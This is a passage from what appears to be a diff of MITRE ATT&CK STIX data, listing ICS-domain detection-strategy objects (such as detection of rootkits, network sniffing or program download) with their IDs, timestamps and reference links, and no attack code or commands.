"2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0785", + "external_id": "DET0785" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Manipulation of View", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d71e98fa-64d1-4ddb-acb1-bba1e4af6a73" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--06443942-ba28-4d13-b4b4-93317d6eafa5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0725", + "external_id": "DET0725" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Masquerading", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--791310ad-7db5-41df-9fa5-fa4097d8a51d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--825106d1-6f44-47a1-b8dd-c3e3b6cecab7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0777", + "external_id": "DET0777" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Modify Alarm Settings", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--330166da-bc80-4aca-bd41-cbd6b1742812" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fe11c904-752f-40e2-b269-c53bbb29541a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0741", + "external_id": "DET0741" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Modify Controller Tasking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2195ec67-7cea-4b0d-a678-18384089bf2c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--442e5dcf-7f41-4ba5-ba89-aefb0d1c63cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0776", + "external_id": "DET0776" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Modify Parameter", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--48d2023b-469d-4f9f-a4e6-010be72436b9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f41ed29-fdc6-4c28-ba10-9de1aa129f7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0783", + "external_id": "DET0783" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Modify Program", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--882f2365-4c14-4c48-8eef-2a7c293c8569" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e69d1e15-76e1-434c-bd45-0354a10dde8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0790", + "external_id": "DET0790" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Module Firmware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--880a1133-6639-42f0-96a8-3e914426d38b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--60a55b7b-29a5-437e-83a7-edbe6f3c4415", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0727", + "external_id": "DET0727" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Monitor Process State", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1be515a0-2656-4b35-a561-e8157169350d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5ba60cf7-738d-4ed4-827c-8c763ad9f0f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0753", + "external_id": "DET0753" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Native API", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aebd2848-98db-46f1-8e22-627e2ec3c280" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--441ded70-7e25-47f1-b55c-0fafb7d4f44c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0770", + "external_id": "DET0770" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Connection Enumeration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7aa60595-5a1c-4de2-be60-cc1f9fea2313" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f4f3b9a6-2de0-45a5-8936-2ad9288191b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0800", + "external_id": "DET0800" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Sniffing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--28eb77c1-1834-4b7a-a06f-afebb7f2e756" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5604323b-6e7a-4801-91ae-4bf591f2e3ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0788", + "external_id": "DET0788" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Point & Tag Identification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--484023ea-6fea-4f91-b40d-c6d87188cbfe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--709e05b2-6400-43a2-9bbf-b64f6017b023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0752", + "external_id": "DET0752" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Program Download", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b74100d1-0085-468a-834a-2bf10924a3b7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6f921aa8-deb3-4286-8101-26a7cbe80c0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0761", + "external_id": "DET0761" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Program Upload", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3c6a21cb-8643-41bc-94a1-e860b02a1cad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--09754c36-7be2-4536-aad2-a6c3568ba0e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0766", + "external_id": "DET0766" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Project File Infection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6e046c4c-6c93-4fdf-a69e-5d81b52d1e9c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--74b96bd4-dab9-494e-a540-b7c998581fd5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0804", + "external_id": "DET0804" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--058d856a-6356-402f-b3ff-a7c1b6186921" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec442b22-3dc8-4b2b-8294-b76b0f01d748", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0739", + "external_id": "DET0739" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote System Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--322ac45b-d540-4d2a-84a1-cde200238b95" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--636329e6-32b9-4a71-acf8-ae6d01a6b4ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0787", + "external_id": "DET0787" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote System Information Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f123f13f-b6f4-4e86-96cd-14df0e855e0f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cb273244-c117-4e32-afc7-f72f4e44e179", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0733", + "external_id": "DET0733" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Replication Through Removable Media", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ad83be0-5c88-4fb6-b59d-19db21176923" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9ad17e7a-5920-42ac-9bf4-545b99162640", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0792", + "external_id": "DET0792" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Rogue Master", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--37d989e6-14cd-49a4-adec-3d8b72c8dc22" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--04bcf663-e6cd-42bf-8864-f4d1ad345263", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0780", + "external_id": "DET0780" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Rootkit", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ec695157-8c3c-439b-9925-459c9d4172f0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3e884c49-75ca-449e-83cb-3517ee88e0f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0751", + "external_id": "DET0751" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Screen Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--66070162-d51e-46e7-8d32-2140fd5e7086" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f9ea25e7-6e63-4ef1-a8ad-47a4a261e175", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0735", + "external_id": "DET0735" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Scripting", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--302a5327-70cf-44b5-b592-ce9a62014dcc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b25c4621-5d38-43ee-871e-0e5c02f2f48c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0765", + "external_id": "DET0765" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Service Stop", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6b3b3e92-bef7-4977-9895-29036bab29f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b817139c-2941-4523-bfb5-10c36d230871", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0781", + "external_id": "DET0781" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spearphishing Attachment", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5610211c-1458-4333-8640-384189d9318e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c0e6c96d-8605-407a-9bce-628e7853b07f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0746", + "external_id": "DET0746" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Spoof Reporting Message", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--32bfb2ab-2ad1-4c00-8428-96bc626c34f3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--732d2487-3241-4866-8bb5-044bb4acdd3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0799", + "external_id": "DET0799" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Standard Application Layer Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d271c7fc-d76a-4fb0-a645-5db2c1223a32" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--58b4bda4-d69a-4a20-ab67-308c4451a5e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0730", + "external_id": "DET0730" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Supply Chain Compromise", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--899d0dce-64f7-4924-93a1-8e3c83dd510f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--519082ce-24ab-4f6b-9e86-b9443758c9d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0793", + "external_id": "DET0793" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Binary Proxy Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23ce0ac3-6afe-4647-be72-e1e9bcd1490e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--09f46edf-33f9-4c23-af2f-74864c27f616", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0731", + "external_id": "DET0731" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Firmware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3f10ffe9-fa73-4aeb-bf98-322831bf757f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + 